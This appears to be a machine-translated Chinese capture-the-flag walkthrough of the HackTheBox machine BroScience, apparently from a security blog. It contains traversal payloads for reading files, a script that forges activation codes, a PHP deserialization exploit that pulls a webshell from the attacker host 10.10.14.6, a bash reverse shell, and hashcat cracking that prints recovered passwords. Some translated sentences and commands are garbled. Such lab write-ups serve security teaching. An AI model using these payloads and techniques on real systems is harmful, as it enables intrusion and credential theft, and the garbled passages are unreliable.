攻击 BroScience 使用目录遍历/文件读取漏洞(任何称其为 LFI 的人减分)来获取网站的 PHP 源代码。首先,我将使用该代码伪造一个激活令牌,以允许我注册我的帐户。然后,源通过构建恶意 PHP 序列化对象、对其进行编码并将其作为我的 cookie 发送来提供利用反序列化漏洞所需的信息。这在盒子上提供了一个 webshell 和一个 shell。我会在数据库中找到一些可以破解的哈希值,从而找到下一个用户。这里的问题是包括站点范围内的盐。对于 root 来说,脚本中有一个命令注入来检查证书是否过期。我将制作一个恶意证书来执行注入以以 root 身份执行。
信息收集
nmap找到三个开放的 TCP 端口:SSH (22)、HTTP (80) 和 HTTPS (443):
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.195
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-30 15:37 EDT
Nmap scan report for 10.10.11.195
Host is up (0.087s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 7.02 seconds
oxdf@hacky$ nmap -p 22,80,443 -sCV 10.10.11.195
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-30 15:37 EDT
Nmap scan report for 10.10.11.195
Host is up (0.085s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.54
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Did not follow redirect to https://broscience.htb/
443/tcp open ssl/http Apache httpd 2.4.54 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: BroScience : Home
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after: 2023-07-14T19:48:36
| tls-alpn:
|_ http/1.1
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.15 seconds
根据OpenSSH和Apache版本,主机可能运行 Debian 11 bullseye。
端口 80 HTTP 服务正在返回重定向到https://broscience.htb.
鉴于域名的使用,我将对 80 和 443 进行模糊测试,wfuzz以查看是否有任何子域返回不同的页面,但它没有找到任何内容。
BroScience.htb - TCP 443端口
该网站有很多关于举重的文章:
尝试发表评论会进入登录页面 ( login.php)。有一个注册链接,但是当我注册时,消息表明我需要激活:
如果我尝试登录,就会出现错误:
网站应用
HTTP 标头显示 Apache:
HTTP/1.1 200 OK
Date: Thu, 30 Mar 2023 19:59:13 GMT
Server: Apache/2.4.54 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 9304
Connection: close
Content-Type: text/html; charset=UTF-8
访问该站点表明它是一个基于文件扩展名的 PHP 站点。有一些 JavaScript 和 CSS 包,但没有一个看起来像框架。
查看页面源代码,我会注意到图像是通过奇怪的 PHP 路径加载的,而不是直接加载到静态文件:
访问该网站后,会立即PHPSESSID设置一个 cookie:
HTTP/1.1 200 OK
Date: Thu, 30 Mar 2023 21:25:06 GMT
Server: Apache/2.4.54 (Debian)
Set-Cookie: PHPSESSID=ggar5eo1euoclh581vijnvp017; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
...[snip]...
这是一个标准的 PHP cookie。
目录暴力破解
我将feroxbuster针对该网站进行运行,并包含在内,-x php因为我知道该网站是 PHP。有大量的文件夹和看起来不有趣的东西,所以我将杀死并重新启动--no-recursion,即使在那里,也有很多:
oxdf@hacky$ feroxbuster -u https://broscience.htb -x php -k --no-recursion
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / _/ | | |__
| |___ | | | __, __/ / | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.9.2
───────────────────────────┬──────────────────────
🎯 Target Url │ https://broscience.htb
🚀 Threads │ 50
📖 Wordlist │ /opt/SecLists/Discovery/Web-Content/raft-small-words.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.9.2
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [php]
🏁 HTTP methods │ [GET]
🔓 Insecure │ true
🚫 Do Not Recurse │ true
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l -w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 280c https://broscience.htb/.html
403 GET 9l 28w 280c https://broscience.htb/.php
301 GET 9l 28w 321c https://broscience.htb/includes => https://broscience.htb/includes/
403 GET 9l 28w 280c https://broscience.htb/.html.php
200 GET 147l 510w 9304c https://broscience.htb/index.php
301 GET 9l 28w 319c https://broscience.htb/images => https://broscience.htb/images/
403 GET 9l 28w 280c https://broscience.htb/.htm
200 GET 3l 7w 44c https://broscience.htb/styles/light.css
200 GET 29l 70w 1309c https://broscience.htb/user.php
200 GET 45l 104w 2161c https://broscience.htb/register.php
200 GET 42l 97w 1936c https://broscience.htb/login.php
403 GET 9l 28w 280c https://broscience.htb/.htm.php
200 GET 28l 71w 1322c https://broscience.htb/exercise.php
302 GET 0l 0w 0c https://broscience.htb/logout.php => https://broscience.htb/index.php
302 GET 1l 3w 13c https://broscience.htb/comment.php => https://broscience.htb/login.php
200 GET 1l 4w 39c https://broscience.htb/includes/img.php
301 GET 9l 28w 319c https://broscience.htb/styles => https://broscience.htb/styles/
200 GET 147l 510w 9304c https://broscience.htb/
301 GET 9l 28w 323c https://broscience.htb/javascript => https://broscience.htb/javascript/
301 GET 9l 28w 319c https://broscience.htb/manual => https://broscience.htb/manual/
403 GET 9l 28w 280c https://broscience.htb/.htaccess
403 GET 9l 28w 280c https://broscience.htb/.htaccess.php
200 GET 28l 66w 1256c https://broscience.htb/activate.php
...[snip]...
302 GET 1l 3w 13c https://broscience.htb/update_user.php => https://broscience.htb/login.php
...[snip]...
对于以.. 这里有趣的是activate.php。外壳作为 www-data,img.php 中的文件读取,访问/includes/img.php返回页面说path缺少参数:
如果我尝试访问../路径中的任何内容,它只会返回“检测到攻击”:
模糊测试
这里有一个非常好的遍历单词表,可以尝试各种测试。我将使用(在修复此错误之前wfuzz我无法使用)来尝试所有这些,过滤掉任何带有字符串“Attack”的响应以及任何大小为 0 的响应:ffuf
oxdf@hacky$ wfuzz -u https://broscience.htb/includes/img.php?path=FUZZ -w dotdotpwn.txt --hs Attack --hh 0
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: https://broscience.htb/includes/img.php?path=FUZZ
Total requests: 4648
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000166: 200 2 L 5 W 27 Ch "..%252f..%252f..%252f..%252f..%252f..%252fetc%252fissue"
000000165: 200 39 L 64 W 2235 Ch "..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
000000162: 200 2 L 5 W 27 Ch "..%252f..%252f..%252f..%252f..%252fetc%252fissue"
000000161: 200 39 L 64 W 2235 Ch "..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
000000158: 200 2 L 5 W 27 Ch "..%252f..%252f..%252f..%252fetc%252fissue"
000000157: 200 39 L 64 W 2235 Ch "..%252f..%252f..%252f..%252fetc%252fpasswd"
Total time: 46.66168
Processed Requests: 4648
Filtered Requests: 4642
Requests/sec.: 99.61064
这六个请求似乎都返回了数据。我将在 Firefox 中尝试一下:
oxdf//broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd curl -k https:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...[snip]...
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
有效载荷分析
这些有效负载似乎通过对/in 中的双重 URL 编码来绕过过滤器../。第一个 URL 编码采用/–> %2f。下一个 URL 编码(仅是%)采用%–> %25,将整个../内容转换为..%252f. 解码一次就会有效果..%2f,然后再次就会有效果../。
站点枚举
../index.php拉取主站点的源代码。在标题中,有对/includes/header.php和 的引用/includes/utils.php:
session_start();
<html>
<head>
<title>BroScience : Home</title>
include_once 'includes/header.php';
include_once 'includes/utils.php';
$theme = get_theme();
<link rel="stylesheet" href="styles/<?=$theme?>.css">
</head>
...[snip]...
接下来,主体进行一些设置以及与数据库的连接:
...[snip]...
<body class="<?=get_theme_class($theme)?>">
include_once 'includes/navbar.php';
<div class="uk-container uk-margin">
<!-- TODO: Search bar -->
include_once 'includes/db_connect.php';
...[snip]...
接下来是对数据库的查询以进行练习,以及一个为每个结果创建文章的循环:
...[snip]...
// Load exercises
$res = pg_query($db_conn, 'SELECT exercises.id, username, title, image, SUBSTRING(content, 1, 100), exercises.date_created, users.id FROM exercises JOIN users ON au
thor_id = users.id');
if (pg_num_rows($res) > 0) {
echo '<div class="uk-child-width-1-2@s uk-child-width-1-3@m" uk-grid>';
while ($row = pg_fetch_row($res)) {
<div>
...[snip]...
db_connect.php
从上面的代码中,我将检查/includes目录中的一些文件。path=..%252fincludes/db_connect.php返回包含密码的数据库信息:
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";
$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");
if (!$db_conn) {
die("<b>Error</b>: Unable to connect to database");
}
?>
实用程序.php
/includes/utils.php有很多功能。顶部有一个生成激活码的函数:
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
它使用 播种伪随机数生成器time(),这是可疑的,并且可能是可利用的。
有一个get_theme函数旨在从 cookie 中读取用户偏好:
function get_theme() {
if (isset($_SESSION['id'])) {
if (!isset($_COOKIE['user-prefs'])) {
$up_cookie = base64_encode(serialize(new UserPrefs()));
setcookie('user-prefs', $up_cookie);
} else {
$up_cookie = $_COOKIE['user-prefs'];
}
$up = unserialize(base64_decode($up_cookie));
return $up->theme;
} else {
return "light";
}
}
我对此特别感兴趣,因为它需要user-prefscookie,base64 对其进行解码,然后将其传递给unserialize,这可能会导致 PHP 反序列化漏洞。但这只是在设置了会话的情况下进行的,这意味着我需要先登录。
Avatar文件底部还有一个类:
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
由于该方法,它显得很有趣__wakeup(),该方法是PHP 中的魔术方法。具体来说:
unserialize()检查是否存在具有魔术名称__wakeup()的函数。如果存在,此函数可以重建对象可能拥有的任何资源。 |
因此,如果我能让系统反序列化一个AvatarInterface对象,它将运行该__wakeup函数,该函数调用save写入文件的函数。这里有可能制作其中之一并将其放入user-prefscookie 中以进行文件写入。我会回来讨论这一点。
path=..%252factivate.php读取这个文件。重要的部分是它查找名为 的 GET 参数code:
...[snip]...
if (isset($_GET['code'])) {
// Check if code is formatted correctly (regex)
if (preg_match('/^[A-z0-9]{32}$/', $_GET['code'])) {
// Check for code in database
...[snip]...
我会在Burp中找到我的注册请求并查看一下。这是一个帖子/register.php:
POST /register.php HTTP/1.1
Host: broscience.htb
Cookie: PHPSESSID=qgq4oojk8u47ai44dv3ip3hks5
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 85
Origin: https://broscience.htb
Referer: https://broscience.htb/register.php
Te: trailers
Connection: close
username=0xdf&email=0xdf%40broscience.htb&password=0xdf0xdf&password-confirm=0xdf0xdf
响应标头包含服务器上的时间:
HTTP/1.1 200 OK
Date: Thu, 30 Mar 2023 21:10:46 GMT
Server: Apache/2.4.54 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 2433
Connection: close
Content-Type: text/html; charset=UTF-8
我将编写一个简短的 PHP 脚本来生成代码。如果我只是制作一些打印 的 PHP time(),我会看到它以纪元时间戳的形式出现:
echo time() . 'n';
oxdf@hacky$ php generate_codes.php
1680210818
strtotime将从请求中的时间字符串给出相同的输出:
echo strtotime("Thu, 30 Mar 2023 21:10:46 GMT") . 'n';
oxdf@hacky$ php generate_codes.php
1680210646
我将引入generate_activation_code之前收集的函数,修改它以接受参数,并srand使用该参数而不是播种time():
function generate_activation_code($t) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand($t);
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
$start = strtotime("Thu, 30 Mar 2023 21:10:46 GMT");
for ($t = $start - 30; $t <= $start + 30; $t++) {
echo generate_activation_code($t) . "n";
}
这将打印我注册时时间戳之前 30 秒和之后 30 秒的激活码(超出必要范围)。
法兹
我将把它们保存到一个文件中,然后运行它们wfuzz以尝试所有这些:
oxdf@hacky$ php generate_codes.php > codes.txt
oxdf@hacky$ wfuzz -u https://broscience.htb/activate.php?code=FUZZ -w codes.txt --hs Invalid
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: https://broscience.htb/activate.php?code=FUZZ
Total requests: 61
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000031: 200 27 L 65 W 1251 Ch "33bddQwMdlOCPl5Ex2sA5NRsRS8akH0l"
Total time: 1.322301
Processed Requests: 61
Filtered Requests: 60
Requests/sec.: 46.13167
我使用它是--hs Invalid因为当代码错误时会出现字符串“Invalid”。我真的不在乎代码是什么,只关心它有效。
登录
现在,当我登录时,它可以工作:
远程代码执行
登录时,它会设置另一个 cookie user-prefs:
HTTP/1.1 302 Found
Date: Thu, 30 Mar 2023 21:28:32 GMT
Server: Apache/2.4.54 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Location: /index.php
Set-Cookie: user-prefs=Tzo5OiJVc2VyUHJlZnMiOjE6e3M6NToidGhlbWUiO3M6NToibGlnaHQiO30%3D
...[snip]...
这与我在代码中看到的反序列化的 cookie 相匹配。替换%3d为=(URL 解码),该 Base64 解码为:
oxdf@hacky$ echo Tzo5OiJVc2VyUHJlZnMiOjE6e3M6NToidGhlbWUiO3M6NToibGlnaHQiO30= | base64 -d
O:9:"UserPrefs":1:{s:5:"theme";s:5:"light";}
这是一个 PHP 序列化对象。
生成序列化有效负载
我将从中获取大量 PHP 代码utils.php并使用它来生成序列化对象。
...[snip]...
$avatar_interface = new AvatarInterface();
$avatar_interface->tmp = "";
$avatar_interface->imgPath = "";
$cookie = base64_encode(serialize($avatar_interface));
echo $cookie;
和Avatar类AvatarInterface未更改(未显示)。我将创建一个新AvatarInterface实例,并设置$tmp和$imgPath参数。然后,我将对结果进行序列化和 Base64 编码,然后将其写出。
$tmp那么和 的值是什么$imgPath?当unserialize在此 cookie 上调用 时,它将调用__wakeup的函数,用I 给定AvatarInterface创建一个新的。然后它会调用. 用于读取路径中文件的内容,并将其写入到.Avatar$imgPathsave$tmpsavefile_get_contents$tmp$imgPath
由于我想编写一个 webshell,所以我想写入 webroot。类似的东西./cmd.php会很好地工作。
获取 webshell 有点棘手。我可以采取几种方法来解决这个问题。该框的预期路径是更改我的用户名以包含 webshell,然后在 处引用我的会话文件//var/lib/php/sessions/sess_[session id]。
但file_get_contents也会通过网络阅读。所以我将其设置为一个 URL,例如http://10.10.14.6/cmd.php.
我的最终代码是:
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
$avatar_interface = new AvatarInterface();
$avatar_interface->tmp = "http://10.10.14.6/cmd.php";
$avatar_interface->imgPath = "./cmd.php";
$cookie = base64_encode(serialize($avatar_interface));
echo $cookie;
运行此命令会生成一个 cookie:
oxdf php serialized_rce_gen.php | base64 -d
O:15:"AvatarInterface":2:{s:3:"tmp";s:25:"http://10.10.14.6/cmd.php";s:7:"imgPath";s:9:"./cmd.php";}
oxdf php serialized_rce_gen.php
TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czoyNToiaHR0cDovLzEwLjEwLjE0LjYvY21kLnBocCI7czo3OiJpbWdQYXRoIjtzOjk6Ii4vY21kLnBocCI7fQ==
我将创建一个名为的简单 Webshell cmd.php,并使用 Python 将其托管在我的网络服务器上:
oxdf@hacky$ cat cmd.php
<?php system($_REQUEST['cmd']); ?>
oxdf@hacky$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
我将进入 Firefox 开发工具并用恶意 cookie 替换我的 cookie,然后刷新https://broscience.htb. 网络服务器有一个连接(实际上是三个):
10.10.11.195 - - [30/Mar/2023 20:38:50] "GET /cmd.php HTTP/1.0" 200 -
10.10.11.195 - - [30/Mar/2023 20:38:50] "GET /cmd.php HTTP/1.0" 200 -
10.10.11.195 - - [30/Mar/2023 20:38:50] "GET /cmd.php HTTP/1.0" 200 -
并且/cmd.php存在于网络服务器上,并且它可以工作:
我将在 Firefox 中输入bash 反向 shell& ,将 URL 编码为%26:
https://broscience.htb/cmd.php?cmd=bash -c 'bash -i >%26 /dev/tcp/10.10.14.6/443 0>%261'
当我按下回车键时,我的听力中出现了一个 shell nc:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.195 44096
bash: cannot set terminal process group (1235): Inappropriate ioctl for device
bash: no job control in this shell
www-data@broscience:/var/www/html$
我将升级shell:
www-data@broscience:/var/www/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@broscience:/var/www/html$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo ;fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
www-data@broscience:/var/www/html$
有一个用户在盒子上有一个主目录,bill,并且它有user.txt,但我还无法读取它:
www-data@broscience:/var/www/html$ ls /home/
bill
www-data@broscience:/var/www/html$ ls /home/bill/
Certs Documents Music Public Videos
Desktop Downloads Pictures Templates user.txt
www-data@broscience:/var/www/html$ cat /home/bill/user.txt
cat: /home/bill/user.txt: Permission denied
数据库
我已经可以访问大部分网络文件了。但现在我可以使用来自以下位置的凭据连接到数据库db_connect.php:
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";
$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");
if (!$db_conn) {
die("<b>Error</b>: Unable to connect to database");
}
?>
它是 Postgres,所以我将使用它psql进行连接,在出现提示时输入密码:
www-data@broscience:/var/www/html/includes$ psql -U dbuser -d broscience -h localhost
Password for user dbuser:
psql (13.9 (Debian 13.9-0+deb11u1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.
broscience=>
broscience是唯一有趣的可访问数据库:
broscience=> list
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
------------+----------+----------+-------------+-------------+-----------------------
broscience | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
(4 rows)
它有三个表:
broscience=> dt
List of relations
Schema | Name | Type | Owner
--------+-----------+-------+----------
public | comments | table | postgres
public | exercises | table | postgres
public | users | table | postgres
rows)
users除了我创建的帐户之外,该表还有五个用户:
broscience=> select * from users;
id | username | password | email | activation_code | is_activated | is_admin | date_created
----+---------------+----------------------------------+------------------------------+----------------------------------+--------------+----------+-------------------------------
1 | administrator | 15657792073e8a843d4f91fc403454e1 | [email protected] | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t | t | 2019-03-07 02:02:22.226763-05
2 | bill | 13edad4932da9dbb57d9cd15b66ed104 | [email protected] | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t | f | 2019-05-07 03:34:44.127644-04
3 | michael | bd3dad50e2d578ecba87d5fa15ca5f85 | [email protected] | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t | f | 2020-10-01 04:12:34.732872-04
4 | john | a7eed23a7be6fe0d765197b1027453fe | [email protected] | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t | f | 2021-09-21 11:45:53.118482-04
5 | dmytro | 5d15340bded5b9395d5d14b9c21bc82b | [email protected] | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t | f | 2021-08-13 10:34:36.226763-04
6 | 0xdf | 79275232b2c9c937f145d7cc13d9339b | [email protected] | nH8VDTNVuZpI2UPif9QdCsgXzCLJrbfY | t | f | 2023-03-30 20:13:51.584023-04
(6 rows)
破解哈希值
0xdf 用户的密码是“0xdf”,哈希值看起来像 MD5(仅基于长度)。但仅采用“0xdf”的 MD5 是不匹配的:
echo -n "0xdf" | md5sum
465e929fc1e0853025faad58fc8cb47d -
我将查看registration.php,这两行是创建帐户并将其插入数据库的位置:
$res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');
$res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_
code));
密码是md5($db_salt . $_POST['password'])。同样的事情可以在 中观察到login.php:
// Check if username:password is correct
$res = pg_prepare($db_conn, "login_query", 'SELECT id, username, is_activated::int, is_admin::int FROM users WHERE username=$1 AND password=$2');
$res = pg_execute($db_conn, "login_query", array($_POST['username'], md5($db_salt . $_POST['password'])));
$db_salt定义于db_connect.php:
$db_salt = "NaCl";
附加盐确实给出了 0xdf 密码的匹配哈希值:
echo -n "NaCl0xdf" | md5sum
79275232b2c9c937f145d7cc13d9339b -
格式化哈希
hashcat有一种模式,它将读取由 分隔的哈希和盐:。我将||在 postgres 中使用将字符串附加在一起以生成一个易于复制的列表:
broscience=> select username || ':' || password || ':NaCl' from users;
-----------------------------------------------------
administrator:15657792073e8a843d4f91fc403454e1:NaCl
bill:13edad4932da9dbb57d9cd15b66ed104:NaCl
michael:bd3dad50e2d578ecba87d5fa15ca5f85:NaCl
john:a7eed23a7be6fe0d765197b1027453fe:NaCl
dmytro:5d15340bded5b9395d5d14b9c21bc82b:NaCl
0xdf:79275232b2c9c937f145d7cc13d9339b:NaCl
rows)
我将将该文件传递给hashcat并让它尝试识别哈希格式。该--user标志告诉我们将第一个字符串之前的字符串作为用户名hashcat分开。:它找到一堆可能的哈希格式,并打印它们的表格,要求我重新运行指定要使用的模式:
$ hashcat hashes --user /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
The following 20 hash-modes match the structure of your input hash:
# | Name | Category
======+============================================================+======================================
10 | md5($pass.$salt) | Raw Hash salted and/or iterated
20 | md5($salt.$pass) | Raw Hash salted and/or iterated
3800 | md5($salt.$pass.$salt) | Raw Hash salted and/or iterated
3710 | md5($salt.md5($pass)) | Raw Hash salted and/or iterated
4110 | md5($salt.md5($pass.$salt)) | Raw Hash salted and/or iterated
4010 | md5($salt.md5($salt.$pass)) | Raw Hash salted and/or iterated
21300 | md5($salt.sha1($salt.$pass)) | Raw Hash salted and/or iterated
40 | md5($salt.utf16le($pass)) | Raw Hash salted and/or iterated
3910 | md5(md5($pass).md5($salt)) | Raw Hash salted and/or iterated
4410 | md5(sha1($pass).$salt) | Raw Hash salted and/or iterated
21200 | md5(sha1($salt).md5($pass)) | Raw Hash salted and/or iterated
30 | md5(utf16le($pass).$salt) | Raw Hash salted and/or iterated
50 | HMAC-MD5 (key = $pass) | Raw Hash authenticated
60 | HMAC-MD5 (key = $salt) | Raw Hash authenticated
1100 | Domain Cached Credentials (DCC), MS Cache | Operating System
12 | PostgreSQL | Database Server
2811 | MyBB 1.2+, IPB2+ (Invision Power Board) | Forums, CMS, E-Commerce
2611 | vBulletin < v3.8.5 | Forums, CMS, E-Commerce
2711 | vBulletin >= v3.8.5 | Forums, CMS, E-Commerce
23 | Skype | Instant Messaging Service
Please specify the hash-mode with -m [hash-mode].
...[snip]...
模式 20,md5($salt.$pass)看起来像这种情况。它破解了其中三个:
hashcat hashes --user -m 20 /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
...[snip]...
13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym
5d15340bded5b9395d5d14b9c21bc82b:NaCl:Aaronthehottest
bd3dad50e2d578ecba87d5fa15ca5f85:NaCl:2applesplus2apples
...[snip]...
使用--show而不是单词列表运行将显示带有用户名的结果:
$ hashcat hashes --user -m 20 --show
bill:13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym
michael:bd3dad50e2d578ecba87d5fa15ca5f85:NaCl:2applesplus2apples
dmytro:5d15340bded5b9395d5d14b9c21bc82b:NaCl:Aaronthehottest
bill是盒子上的用户,上面的列表中有bill的密码。使用该密码运行su可以获取 shell 作为 bill:
www-data@broscience:/var/www/html$ su - bill
Password:
bill@broscience:~$
并允许访问user.txt:
bill@broscience:~$ cat user.txt
511395d5************************
该密码也适用于 SSH:
oxdf@hacky$ sshpass -p 'iluvhorsesandgym' ssh [email protected]
Linux broscience 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64
...[snip]...
bill@broscience:~$
以 root 身份进入 shell
这个盒子上没有太多其他可看的东西。bill的主目录基本上是空的。对网络代码的另一次审查并没有给出太多信息。
账单无法运行sudo:
bill@broscience:~$ sudo -l
[sudo] password for bill:
Sorry, user bill may not run sudo on broscience.
我没有看到任何不寻常的 SetUID / SetGID 二进制文件。
流程
转向正在运行的进程,ps auxww并没有透露出任何太有趣的东西。我将上传pspy来查找可能正在运行的 cron:
oxdf'iluvhorsesandgym' scp /opt/pspy64 bill .htb:/dev/shm/pspy sshpass -p
看起来每两分钟就会有一个cron.sh脚本以 root 身份运行(UID=0):
2023/03/31 08:14:01 CMD: UID=0 PID=298411 | /usr/sbin/CRON -f
2023/03/31 08:14:01 CMD: UID=0 PID=298412 | /usr/sbin/CRON -f
2023/03/31 08:14:01 CMD: UID=0 PID=298413 | /bin/sh -c /root/cron.sh
2023/03/31 08:14:01 CMD: UID=0 PID=298414 | /bin/bash /root/cron.sh
2023/03/31 08:14:01 CMD: UID=0 PID=298415 | /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt
2023/03/31 08:14:01 CMD: UID=0 PID=298416 |
2023/03/31 08:14:01 CMD: UID=0 PID=298417 | /bin/bash /root/cron.sh
它似乎运行/opt/renew_cert.sh在/home/bill/Certs/broscience.crt. 该Certs目录确实存在于 bill 的主目录中,但它是空的。
更新证书.sh
该 shell 脚本首先检查用法并在必要时运行帮助:
if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
echo "Usage: $0 certificate.crt";
exit 0;
fi
然后检查参数是否存在 ( [ -f $1 ]) 文件,如果不存在,则打印一条消息并退出。openssl当它是一个文件时,它在该文件上运行:
openssl x509 -in $1 -noout -checkend 86400 > /dev/null
if [ $? -eq 0 ]; then
echo "No need to renew yet.";
exit 1;
fi
如果输入证书在超过 86400 秒(一天)后过期,它将返回 0。如果它早于该时间过期(或者如果输入错误),它将返回 1,并继续。本文在实践中展示了这一点。
继续时,脚本将从现有证书中解析出变量:
subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)
country=$(echo $subject | grep -Eo 'C = .{2}')
state=$(echo $subject | grep -Eo 'ST = .*,')
locality=$(echo $subject | grep -Eo 'L = .*,')
organization=$(echo $subject | grep -Eo 'O = .*,')
organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
commonName=$(echo $subject | grep -Eo 'CN = .*,?')
emailAddress=$(openssl x509 -in $1 -noout -email)
country=${country:4}
state=$(echo ${state:5} | awk -F, '{print $1}')
locality=$(echo ${locality:3} | awk -F, '{print $1}')
organization=$(echo ${organization:4} | awk -F, '{print $1}')
organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
commonName=$(echo ${commonName:5} | awk -F, '{print $1}')
将所有这些打印到屏幕上后,它将使用它来生成新证书:
echo -e "nGenerating certificate...";
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
$state
$locality
$organization
$organizationUnit
$commonName
$emailAddress
" 2>/dev/null
